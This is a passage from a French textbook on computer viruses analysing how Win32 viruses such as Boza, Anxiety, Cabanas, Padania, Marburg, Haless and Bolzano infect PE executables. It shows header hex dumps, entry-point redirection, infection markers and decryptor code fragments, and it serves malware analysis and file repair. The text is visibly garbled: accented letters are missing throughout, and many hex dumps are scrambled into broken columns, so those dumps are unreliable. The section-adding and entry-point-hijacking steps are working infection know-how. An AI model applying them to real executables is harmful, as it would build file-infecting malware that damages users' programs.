Lecture et criture autorise. La section contient des constantes.

.idata

Lecture et criture autorise. La section contient des constantes.

.reloc

Lecture seule autorise. La section contient des constantes mais nest pas indispensable au bon fonctionnement de lexcutable.

Dunod La photocopie non autorise est un dlit

5.2.2 Quelques mthodes dinfection


Dans la plupart des exemples que nous allons maintenant survoler, le point de dpart danalyse se situe au niveau de loffset de la signature PE. Comme nous lavons vu prcdemment cette valeur que nous dnommons [PE] se lit [MZ + 3Ch] : [PE] = [MZ + 3Ch]

Ajout de section et modification du point dentre


Nous allons ici tudier W95/Boza.D. Dans le cas prsent, le code viral fait lobjet dune nouvelle section que le virus doit rfrencer dans lentte des sections. Ladresse du point dentre est modie pour pointer vers cette nouvelle zone.

174

Chapitre 5. Les virus programme

Le travail dbute par la recherche de loffset li lentte des sections. Il est gal : [PE] (offset de la signature PE) 04h (taille de la signature) 14h (taille de lentte PE) Taille de lentte optionnelle lue [PE + 14h]

Dans notre exemple : 80h + 04h + 14h + E0h = 178h). Une nouvelle entre de section est ajoute en n de zone de description des sections. Il faut pour cela connatre la taille actuelle de la zone selon la rgle : Nombre dentres lu [PE +6h] : 28h (taille dune description). Dans notre exemple : 5 * 28h = C8h La nouvelle section sera dcrite loffset : 178h + C8h =240h An den constituer la structure, le virus utilise, entre autre, les informations de lactuelle dernire section. Dans notre exemple, il sagit de .reloc :
00000210: 2E 72 65 6C 6F 00000220: FE 03 00 00 00 C0 00 00 00 04 00 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 Taille Virtuelle (.reloc) = 03FEh (offset RVA(.reloc) = C000h (offset Taille Physique (.reloc) = 0400h (offset Adresse Physique (.reloc) = 7C00h (offset Caractristiques (.reloc) = 42000040h (offset 63 00 00 7C 00 00 00 00 42 08h) 0Ch) 10h) 14h) 24h) .reloc

Le virus dnomme la nouvelle section .vlad. Elle est ainsi btie :


Taille Virtuelle = ((( Taille Virus + Taille Buffer )/Alignement Section )+ 1) * Alignement Section Taille Virtuelle = ((( BE6h + 1000h )/ 1000h )+ 1) * 1000h Taille Virtuelle = 2000h RVA = (((RVA original + Taille Virtuelle originale)/Alignement Section )+ 1) * Alignement Section RVA = ((( C000h + 03FEh )/ 1000h )+ 1) * 1000h RVA = D000h Taille Phys. = ((( Taille Virus )/Alignement Fichier))+1) * Alignement Fichier Taille Phys. = ((( BE6h )/ 200h ))+1) * 200h Taille Phys. = C00h Adresse Phys. = (((Adresse Phys. originale + Taille Phys. originale)/Alignement Fichier)+ 1) * Alignement Fichier Adresse Phys. = ((( 7C00h + 0400h )/ 200h )+ 1) * 200h Adresse Phys. = 8200h Caractristiques = Contenance de Constantes + Lecture + Ecriture Caractristiques = 0x00000040h + 0x40000000h + 0x80000000h Caractristiques = 0xC0000040h 00000240: 2E 76 6C 61 64 00 00 00 00 20 00 00 00 D0 00 00 00000250: 00 0C 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00000260: 00 00 00 00 40 00 00 C0 .vlad

5.2 Lenvironnement 32 bits

175

Dans lentte PE, le nombre dentres dans la table des objets est incrment de 1 :
00000080: 50 45 00 00 4C 01 06 00 91 99 A0 34 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 PE

Dans lentte optionnelle : loffset du point dentre [PE + 28h] est remplac par ladresse virtuelle relative de la nouvelle section, la taille du programme (Image Size) [PE + 50h] est actualise (+ 1000h), la valeur F00Dh est crite dans une zone rserve. Le virus lutilisera comme marqueur dinfection.
00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170: 00 00 04 00 00 00 00 00 00 00 00 00 00 00 60 40 00 F0 00 00 B0 00 C0 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 28 00 20 00 00 00 00 00 00 00 00 04 10 00 00 00 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0B 00 00 04 00 00 00 00 00 00 00 00 A8 00 01 D0 10 00 00 00 00 00 00 00 00 00 B0 00 03 00 00 00 00 10 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0D 03 00 00 00 00 00 00 00 80 00 2E 10 02 F0 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Notons que la taille de lentte des sections nest pas modie par cet ajout. Le nombre limit de sections au sein dun chier fait que cette zone contient gnralement de lespace libre. La prsence du virus ninduit donc aucun dcalage dans les enttes. Seul du code complmentaire est ajout en n de chier.
Dunod La photocopie non autorise est un dlit

Ajout de code en fin de dernire section et modification du point dentre


Nous tudions cette fois ci le virus W95/Anxiety.1596 Dans notre exemple, la dernire section se dnomme .reloc :
00000210: 2E 72 65 6C 6F 63 00000220: FE 03 00 00 00 C0 00 00 00 04 00 00 00 7C 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Taille Virtuelle (.reloc) = 03FEh (offset RVA(.reloc) = C000h (offset Physical Size (.reloc) = 0400h (offset Physical Offset (.reloc) = 7C00h (offset Caractristiques (.reloc) = 42000040h (offset 00 00 00 00 00 42 08h) 0Ch) 10h) 14h) 24h) .reloc

Pour sinltrer dans la section, le virus opre les modications suivantes dans lentte des sections :

176

Chapitre 5. Les virus programme

Taille Virtuelle = Taille Virtuelle originale + 1000h Taille Virtuelle = 3FEh + 1000h Taille Virtuelle = 13FEh RVA = RVA (inchange) Taille Phys. = Taille Virtuelle originale + Taille du Virus Taille Phys. = 3FEh + 800h Taille Phys. = BFEh Adresse Phys. = Adresse Phys. (inchange) Caractristiques = Contenance de Constantes + Excution + Lecture + Ecriture Caractristiques = 0x00000040h + 0x20000000h + 0x40000000h + 0x80000000h Caractristiques = 0xE0000040h

En consquence, la dernire section devient :


00000210: 2E 72 65 6C 6F 63 00 FF 00000220: FE 13 00 00 00 C0 00 00 FE 0B 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 E0 .reloc

Le dernier octet du nom de section est mis FFh. Il sagit du marqueur dinfection. La nouvelle taille physique est augmente de 7FEh (2046 octets). Il sagit de lexacte diffrence de taille entre un chier sain et un chier infect. La taille du virus est 800h (2048 octets). Il y a donc une diffrence de 2 octets. Cela sexplique par le fait que ce virus sinstalle en n de section et non pas en n de chier. Les 2 derniers octets du chier sain sont donc dnitivement perdus ce qui na souvent aucune importance. Cette zone est cependant utilise par certaines applications. Pour quelques compacteurs (exemple WINRAR SFX), elle contient les donnes compresses par loutil. En cas dattaque virale, elles sont dnitivement crases et le chier est irrcuprable. Il ny a pas de changement dans lentte PE. Dans lentte optionnelle, la taille virtuelle originale de la section (avant infection) est ajoute la taille du programme (Image Size) [PE + 50h] :
Taille Programme = prev. Taille Programme + Taille Virtuelle originale of last section Taille Phys. = D000h + 3FEh Taille Phys. = D3FEh

Loffset du point dentre [PE + 28h] est modi pour atteindre le dbut du code viral (juste aprs la n de la dernire section dorigine). Le virus prend soin de soustraire 1000h octets car la valeur de lalignement de la section est infrieure la taille du virus.
00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00 00 04 FE 00 00 00 60 40 00 D3 00 00 B0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 28 00 00 00 04 10 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 0B FE 00 04 00 00 00 00 01 C3 10 00 00 00 00 00 03 00 00 00 00 10 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 2E 10 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

5.2 Lenvironnement 32 bits

177

00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170:

00 00 00 00 00 00 00

00 C0 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 20 00 00 00 00 00

00 03 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 A8 00

00 00 00 00 B0 00

00 00 00 00 00 00

00 00 00 00 00 00

00 00 00 00 80 00

00 00 00 00 00 00

00 00 00 00 00 00

00 00 00 00 00 00

Tout comme pour les anciens programmes MS-DOS, le virus se doit de sauvegarder les donnes relatives au point dentre original du programme. Sans cela il lui serait impossible de lui passer la main aprs excution du code viral. Dans le cas prsent lEP-RVA dorigine est visible [EP-RVA viral + ACh].
00007FF0: 00008000: 00008010: 00008020: 00008030: 00008040: 00008050: 00008060: 00008070: 00008080: 00008090: 000080A0: A3 B9 00 C9 D4 20 20 00 BD BD A4 00 FF 81 74 2B 75 40 89 B6 2C 8C 00 FF FF 6E FB 4E 00 43 20 21 8D 66 FF 00 90 B8 90 8B 3C 40 40 B2 2B FF C0 90 7F 90 00 8D 00 00 20 C9 F2 00 90 15 90 89 B5 81 81 40 BF AE C0 90 00 90 85 02 AD AD 00 00 8B 73 2B C0 8B D2 20 B6 2C EB 10 D9 78 D9 8B 5B 20 40 20 21 00 00 0B 90 81 18 30 40 00 40 40 EA C0 C9 90 FB 81 8D 00 B9 00 00 B0 B8 0F 90 3F 7B 43 8D 3F 02 02 11 FF 84 90 07 0C 3C 87 06 20 20 40 00 80 F3 00 56 89 B2 00 40 40 00 BDFC 00 00 00 00 AE 0B 00 72 4D 4D 85 C1 00 00 00 89 00 89 00 F3 37 01

Pour tre prcis :


Valeur sauve = Adresse de base + EP-RVA dorigine 004011B0h = 00400000h + 000011B0h

Ajout de code en fin de dernire section et redirection depuis le point dentre (inchang)
Cette technique se retrouve dans le virus W32/Cabanas.A. La section .reloc de notre chier appt nous est maintenant familire :
00000210: 2E 72 65 6C 6F 63 00 00 .reloc 00000220: FE 03 00 00 00 C0 00 00 00 04 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 Taille Virtuelle (.reloc) = 03FEh (offset 08h) RVA(.reloc) = C000h (offset 0Ch) Physical Size (.reloc = 0400h (offset 10h) Physical Offset (.reloc) = 7C00h (offset 14h) Caractristiques (.reloc) = 42000040h (offset 24h) Le virus effectue les modifications suivantes : Taille Virtuelle = Taille Virtuelle originale + 1300h + 00xxh (afin dobtenir DB) Taille Virtuelle = 3FEh + 1300h + 00DDh Taille Virtuelle = 17DBh RVA = RVA (inchange) Taille Phys. = Taille Phys. originale + Taille du Virus Taille Phys. = 400h + C00h Taille Phys. = 1000h Adresse Phys. = Adresse Phys. (inchange) Caractristiques = Prev. Caractristiques + Ecriture Caractristiques = 0x42000040h + 0x80000000h Caractristiques = 0xC2000040h

Dunod La photocopie non autorise est un dlit

178

Chapitre 5. Les virus programme

En consquence la section devient :


00000210: 2E 72 65 6C 6F 63 00 00 00000220: DB 17 00 00 00 C0 00 00 00 10 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C2 .reloc

Dans lentte PE le champ Date et Heure de Cration est modi. La nouvelle valeur est issue dun calcul de checksum que le virus utilise comme marqueur dinfection.
00000080: 50 45 00 00 4C 01 05 00 A3 A6 FD 2E 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 PE

Dans lentte optionnelle, la taille du programme (Image Size) [PE + 50h] est actualise (+1000h). Le point dentre [PE + 28h] est inchang :
00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170: 00 00 04 00 00 00 00 00 00 00 00 00 00 00 60 40 00 E0 00 00 B0 00 C0 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 28 00 20 00 00 00 00 00 00 00 00 04 10 00 00 00 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0B B0 00 04 00 00 00 00 00 00 00 00 A8 00 01 11 10 00 00 00 00 00 00 00 00 00 B0 00 03 00 00 00 00 10 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 80 00 2E 10 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Les cinq premiers octets du point dentre l ou se situait pralablement la n du chier sont remplacs par un saut (FAR JMP) vers le dbut du code viral :
000005B0: 64 A1 00 00 00 00 55 8B EC 6A FF 68 00 40 40 00 (fichier original) 000005B0: E9 4B B2 00 00 00 55 8B EC 6A FF 68 00 40 40 00 (fichier infect)

Ces 5 octets sont ncessaires au virus, il doit les restituer lorsquil redonne la main au programme. Ceux ci sont stocks, aprs avoir t crypt, non loin du point dentre viral :
00008000: E8 AE 01 00 00 0D EB 02 4D 05 00 49 70 6A 6A 6A
Tableau 5.8 Grille de dcryptage du virus Cabanas Valeur stocke AL 100 102 104 106 MOV CL,5 XOR AL,6A ROL AL,CL LOOP 102 B1 49 5 23 64 B2 70 4 1A A1 B3 6A 3 00 00 B4 6A 2 00 00 B5 6A 1 00 00

5.2 Lenvironnement 32 bits

179

Notons pour nir quaprs infection, la taille du chier est de 35 865 octets ; cest un multiple de 101 (35865 = 101 * 355), cette indication nous prcise que le virus a t crit par un membre du groupe 29A.

Ecrasement de la dernire section et redirection depuis le point dentre (inchang)


W95/Padania va nous servir dexemple. Un premier examen de notre fichier appt nous montre quun marqueur dinfection est visible dans lentte optionnelle :
00000080: 00000090: 00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 50 45 00 00 4C 01 05 00 00 00 00 00 E0 00 0E 01 00 60 00 00 00 00 00 00 00 40 00 00 00 00 40 00 04 00 00 00 62 30 7A 30 00 D0 00 00 00 04 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 B0 00 00 28 00 00 00 00 00 00 00 00 00 00 00 91 99 A0 34 00 00 00 00 0B B0 00 04 00 00 00 00 00 01 11 10 00 00 00 00 00 00 03 00 00 00 00 10 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 2E 10 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 PE

....b0z0

Le virus a cras (avec 00h) ladresse virtuelle relative et la taille de la table Fixup.
00000120: 00 00 00 00 00 00 00 00 -

Dans lentte des sections, la dernire dentre elle a disparue. La section .reloc est remplace par une entre dnomme Padania. Lanalyse dautres chiers infects nous montre quen labsence de section nomme .reloc le virus agit comme laurait fait W95/Boza.D : il rajoute une section et incrmente de 1 leur nombre [PE + 06h].
00000210: 50 61 64 61 6E 69 61 20 00000220: 37 05 00 00 00 00 C0 BF 37 05 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 Padania

Dunod La photocopie non autorise est un dlit

Deux cas se prsentent nous. Pour le premier, un court programme est crit en continuit du descriptif de la nouvelle section.
00000268 00000278: 00000288: 00000298: 9C 50 50 FF 80 44 68 E0 3D 4E 00 50 3B 27 00 44 05 75 00 4E 00 12 C0 27 C0 60 C3 39 00 E8 61 38 75 1E 81 3D 2B 05 00 C0 00 00 00 00 58 83 C0 0B 9D EB 00 B8 B0 11 40 00 E9 PDN

Le virus peut ensuite agir de deux manires distinctes : Il modifie ladresse du point dentre. On se retrouve alors dans le cas du virus W95/Anxiety.1596 ; ladresse originale du point dentre est stocke dans la zone rcemment cre (ci-dessus en gras). Il laisse inchang ladresse du point dentre mais redirige rapidement le programme vers la nouvelle zone rcemment cre.

180

Chapitre 5. Les virus programme

Dans ce second cas, le virus ncrase pas directement les premiers octets du programme sain. Il recherche une zone particulire pour y positionner son saut. Selon les cas, 5 ou 6 octets sont crass aprs avoir t pralablement sauvegard.
00000240: 00000250: 00000260: 00000270: 000005B0: 000005C0: 000005B0: 000005C0: 9C 50 50 FF 64 68 64 E9 80 44 68 E0 A1 10 A1 7B 3D 4E 00 90 00 2C 00 F0 3B 27 00 68 00 40 00 FF 05 75 00 10 00 00 00 FF 00 12 C0 2C 00 50 00 50 C0 60 C3 40 55 64 55 64 00 E8 61 00 8B 89 8B 89 75 00 9D E9 EC 25 EC 25 1E 00 EB 48 6A 00 6A 00 81 3D 2B 05 00 C0 00 00 58 83 C0 0B 07 B8 06 10 40 00 0F FF 00 FF 00 68 00 68 00 00 00 00 00 40 83 40 83 40 EC 40 EC PDN

00 (fichier original) 10 00 (fichier infect) 10

Mthodes combines avec polymorphie


Afin de rendre plus difficile lradication, certains virus agissent diffremment selon la structure des fichiers quils infectent Cest le cas des variantes A et B de W95/ Marburg. Le virus rajoute son code la n de la dernire section aprs lavoir crypt laide dun moteur polymorphe. Il agit ensuite selon lune des 3 manires suivantes : il modifie, dans la majorit des cas, ladresse du point dentre (mthode W95/ Anxiety.1596), il laisse inchang ladresse du point dentre mais y positionne un saut vers sont propre code (mthode W32/Cabanas.A), il laisse inchang ladresse du point dentre mais y positionne une routine polymorphique suivie dun saut. La suite de lexemple est lie la seconde possibilit. Revenons, une fois de plus sur la structure de la dernire section de notre programme appt :
00000210: 2E 72 65 6C 6F 63 00 00 00000220: FE 03 00 00 00 C0 00 00 00 04 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 Taille Virtuelle (.reloc) = 03FEh (offset 08h) RVA(.reloc) = C000h (offset 0Ch) Physical Size (.reloc) = 0400h (offset 10h) Physical Offset (.reloc) = 7C00h (offset 14h) Caractristiques (.reloc) = 42000040h (offset 24h) Une fois modifies par le virus, les valeurs deviennent : Taille Virtuelle (.reloc) = 25ECh (offset 08h) Physical Size (.reloc) = 2600h (offset 10h) Caractristiques (.reloc) = C0000040h (offset 24h) 00000210: 2E 72 65 6C 6F 63 00 00 00000220: EC 25 00 00 00 C0 00 00 00 26 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 .reloc

.reloc

Dans lentte optionnelle, la taille du programme (Image Size) [PE + 50h] est modie. Ladresse du point dentre [PE + 28h] est inchange.
00000090: 0B 01 03 0A 00 2E 00 00 000000A0: 00 60 00 00 00 00 00 00 B0 11 00 00 00 10 00 00

5.2 Lenvironnement 32 bits

181

000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170:

00 04 00 00 00 00 00 00 00 00 00 00 00

40 00 00 00 00 B0 00 C0 00 00 00 00 00

00 00 01 10 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 10 28 00 20 00 00 00 00 00

00 00 04 10 00 00 00 03 00 00 00 00 00

40 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00

00 04 00 00 00 00 00 00 00 00 A8 00

10 00 00 00 00 00 00 00 00 00 B0 00

00 00 00 10 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00

00 00 03 00 00 00 00 00 00 00 80 00

02 00 00 10 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00

Au point dentre dorigine, les 5 premiers octets sont remplacs par un saut (FAR JMP) vers la n du code viral :
000005B0: 64 A1 00 00 00 00 55 8B EC 6A FF 68 00 40 40 00 000005B0: E9 EC C8 00 00 00 55 8B EC 6A FF 68 00 40 40 00 (jmp 0000CEA1) (original file) (infected file)

Cette adresse correspond au dbut du moteur de dcryptage polymorphique. De nombreux sauts et de nombreuses instructions sans intrt (en anglais, garbage) sont insres parmi les quelques instructions utiles. Le code se rsume :
xxxx:96A1 decrypt: garbage mov <reg_01>, V1 garbage fonction de dcryptage (+ garbage) garbage inc ou dec garbage cmp <reg_02>, V2 81 ? ? ? ? ? jne decrypt: 0F 85 ? FF FF FF garbage jmp code dcrypt

Dunod La photocopie non autorise est un dlit

La fonction de dcryptage est ralise par un SUB ou un XOR. Les registres utiliss sont variables. titre dexemple, linstruction CMP est mme de prendre les valeurs suivantes :
81 81 81 81 F8 FA FC FE ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (reg_02 (reg_02 (reg_02 (reg_02 = = = = eax) edx) esp) esi) 81 81 81 81 F9 FB FD FF ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (reg_02 (reg_02 (reg_02 (reg_02 = = = = ecx) ebx) ebp) edi)

Les opcodes, lments dterminant dune instruction qui la dnisse et la diffrencie sans ambigut, correspondent la loi :
opcode AND F8FFh = F881h

Au travers des 2 exemples ci-dessous, il est possible de reprer les instructions utiles (en gras) perdues au milieu du code superu.

182

Chapitre 5. Les virus programme

Exemple N1
0096DF 0096EF 0096FF 00970F 00971F 00972F 00973F 00974F 00975F 00976F 00977F 00978F 00979F 0097AF 0097BF 0097CF 0097DF 0097EF 13 43 8B D0 07 DF A3 9B FF A3 33 FC FA E9 E9 52 F3 00 4D F9 DA D6 2C 99 C1 B1 8C C9 C1 F9 D9 81 3C A7 00 00 56 FA E9 56 2B 61 8B C7 2F 42 2B 75 E8 F9 E8 B5 00 00 AC 4A 14 A9 53 1D 82 0A 92 42 89 67 F3 07 FF 3D 00 00 69 0F 00 AF 21 E9 B8 30 3A A9 E9 1C 70 6F FF 9E 00 00 41 BF 00 5A BC 1C F3 0F 05 3F 1C 47 81 85 D1 41 00 00 DD DB 00 16 43 00 A7 BF E3 1A 00 C2 EF A1 06 D0 00 00 32 B9 E7 CF D5 00 2E EE 80 3F 00 DA 04 0F C9 FF 00 00 4F 5F A4 1A 13 00 7E BD EE 67 00 6E 00 85 7B EA 00 00 4B 69 80 EA 10 69 A9 FD C3 46 71 E1 00 5E E3 73 00 00 2C 85 D9 D3 B8 85 AF FF 41 2B CB 6D 00 FF DF 5A 00 00 3F A1 01 E9 D6 94 04 FF E9 34 51 D2 0F FF AC CF 00 00 91 0F DB 14 F9 F5 48 FF 14 41 AF DB BF FF A6 A0 00 00 88 BF 8F 00 4C A7 0F 66 00 4C 03 33 DF 0F E9 A9 00 00 96 DE FF 00 B3 18 BF 8B 00 80 8F B8 66 BF C4 1C 00 00 71 66 93 00 B7 D8 51 F7 00 12 C5 85 8B EF 09 F4 00 00

Exemple N2
00970F 00971F 00972F 00973F 00974F 00975F 00976F 00977F 00978F 00979F 0097AF 0097BF 0097CF ED 0C CD 34 9F 8B 00 04 DA DD 6D 38 00 7A B2 E6 D4 F0 E8 00 7E C8 67 DD 5B 00 81 31 12 E5 A0 81 41 71 27 0F 21 D1 00 F1 66 85 83 73 EE 8A F3 81 BF D9 E9 00 E7 8B 69 AD 67 01 AA 02 F9 CF 5A 9E 00 95 EB BA EC 37 00 F6 47 C0 E9 92 DB 00 BF 66 F3 38 71 00 33 03 F5 57 13 00 00 3B 8B 1A 39 59 00 33 EB B1 E8 7F 00 00 80 DA 6C 11 4E 0F 87 22 31 FF CF 00 00 D9 BD 77 8B 3B BF A6 79 0F FF F0 00 00 8F 13 E9 8F E7 EE 69 F9 85 19 79 00 00 80 82 1C C7 4F 8B EA 60 8A 00 99 00 00 DE 62 00 F9 80 CF A5 7D FF EB C8 00 00 C7 2C 00 6A E1 E9 B2 45 FF 98 E7 00 00 BF 80 00 81 27 1C 8F BA FF 07 5F 00 00 61 B6 B1 A1 66 00 05 33 80 3F 0A 00 00

Insertion du code dans lentte des sections et modification du point dentre


Pour cet exemple qui traite du virus W32/Haless.1127, il na pas t possible dutiliser notre appt habituel. Le fichier infect est WRITE.EXE (Windows NT4). Dans len-tte optionnelle, seuls 2 lments sont modifis : Loffset du point dentre [PE + 28h] est remplac par ladresse virtuelle relative de la nouvelle section (valeur initiale 0x00001080h). La taille de toutes les enttes [PE + 54h] nest plus standard (valeur initiale 0x00000400h).
000090 0000A0 0000B0 0000C0 0000D0 0000E0 0000F0 000100 00 00 04 00 00 00 F4 12 20 00 60 00 00 20 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 00 00 10 50 00 00 00 07 10 00 00 00 9E 00 00 00 00 00 00 02 00 00 00 00 00 0B 40 00 04 7B 00 00 00 01 02 10 00 EB 00 00 40 03 00 00 00 00 10 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 02 00 00 7C 04 10 02 00 00 10 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

5.2 Lenvironnement 32 bits

183

000110 000120 000130 000140 000150 000160 000170

00 00 00 00 00 00 00

00 50 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 5C 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 50 00 00 00 00

00 20 00 00 20 00

00 00 00 00 00 00

00 00 00 00 00 00

00 1C 00 00 50 00

00 00 00 00 00 00

00 00 00 00 00 00

00 00 00 00 00 00

Si le chier WRITE.EXE a pu subir linfection virale, cest quune zone libre sufsamment importante est la disposition du virus. Une tude du chier sain, montre en effet quaucun code nest prsent entre loffset 240h (n de lentte des sections) et loffset 1000h (dbut de la premire section). Cette zone ne contient quune succession de 00h. Cest cette particularit qui a permis au virus de sinstaller dans cet espace (entre loffset 240h et loffset 6A7h). Les puristes remarqueront que :
6A7h 240h = 467h, soit 1127 octets. 000240 E8 5F 03 00 00 2D 05 10 40 . . . 000530 77 42 03 0C 24 57 BE 00 10 000540 2B 4C 24 04 87 48 28 53 8B . . . 000670 69 65 77 4F 66 46 69 6C 65 000680 74 65 64 20 62 79 20 57 69 000690 68 6E 6F 4D 69 78 2E 48 61 0006A0 31 00 E9 D9 09 00 00 00 00 00 50 8B 44 24 04 25 40 00 03 73 0C 8B F9 D9 B9 67 04 00 00 F3 00 6E 72 00 00 33 6D 00 49 32 6C 00 6E 2E 65 00 66 54 73 00 65 65 73 00 63 63 2E 00 Infec ted by Win32.Tec hnoMix.Harmless.

Ladresse du point dentre dorigine se calcule partir dune valeur visible en n du code viral (le saut queffectue le virus pour rejoindre le code sain). Cest celle ci qui nous aidera, le moment venu rparer le chier :
Adresse actuelle du point dentre Valeur du saut Taille du virus = Adresse du point dentre dorigine
Dunod La photocopie non autorise est un dlit

0240h 09D9h 0467h 1080h

Ecrasement de la dernire section et redirections successives


Dans cet exemple (W32/Bolzano.L), lauteur du virus a clairement cherch la complication pour esprer gner les chercheurs. Il faut suivre une succession de sauts dissmins dans le code original pour enfin atteindre le code viral. Il ny a pas de changement dans lentte PE. Dans lentte optionnelle, la taille du programme (Image Size) est augmente de 2000h. Les autres modications habituelles vus dans les exemples prcdents affectent la dernire section. Une fois dcrypt, le code du virus laisse apparatre une table doffsets et de donnes. chaque binme correspond une adresse dcrasement (ou le virus a positionn un saut) et une valeur sauvegarde (celle prsente avant cet crasement).
C90 CA0 F4 96 28 01 D6 94 28 01 94 26 28 01 18 5B 28 01 D7 2F 28 01 15 2E 28 01

184

Chapitre 5. Les virus programme

CB0 CC0 CD0 CE0 CF0 D00 D10 D20 D30 D40 D50 D60 D70 D80 D90 DA0 DB0 DC0 DD0 DE0 DF0 E00 E10 E20

D1 7F B4 86 57 C5 9E 3B B6 69 9E 5D C3 33 74 0E DF 0E 35 B6 49 EC FD 1C

7F 70 4A 94 C6 7D 6F 7A 3C 47 BE BF 63 A0 C6 17 92 74 2E 55 19 63 C0 AC

28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 FE

01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01

A0 50 B4 99 80 E0 F0 00 90 10 80 80 40 30 D0 99 86 E0 99 E9 99 80 80 57

7C 71 5F 92 CD 84 70 A3 42 62 A0 A0 63 A4 CA 5A 92 66 5A 59 5A A0 A0 B0

28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 FE

01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01

06 64 5B 38 2B 49 6B BC B6 44 4A FF FB 5B F3 CE 49 6A 89 12 59 59 70

2A 76 57 B8 81 62 A2 62 16 82 C1 49 31 74 38 3A 9A 6E B1 4F AE 48 2E

28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28

01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01

37 90 90 20 C0 80 00 20 31 20 80 90 E5 22 6C 60 DC 80 20 37 50 D7 99

32 AC 42 82 7C A0 BD 9E 52 7D A0 42 2F 67 36 5E 96 A4 C8 32 AF 52 5A

28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28

01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01

Exemple :
Offset: 6249 6249 E8CF0C0100 E8323E0000 call call 000016F1D (fichier infect) 00000A080 (fichier sain)

La table est gre par le programme suivant :


107: 10C: 110: 115: 118: 11D: 11F: 120: 122: 123: 125: 127: 128: A0B: A10: A11: A17: E8FF0800 8B542420 B932000000 83EA05 BEB0120000 03F5 AD 3BC2 AD 7404 E2F8 61 C3 E800000000 5D 81ED100A0000 C3 call mov mov sub mov add lodsd cmp lodsd je loop popad retn call pop sub retn 000000A0B edx,[esp][00020] ecx,000000032 edx,005 esi,0000012B0 esi,ebp eax,edx 000000129 00000011F 000000A10 ebp ebp,000000A10

Il faudra le rutiliser pour esprer pouvoir rparer le chier.

Point dentre obscur


Les techniques que nous avons jusquici dtailles sappliquent la grande majorit des virus actuels :

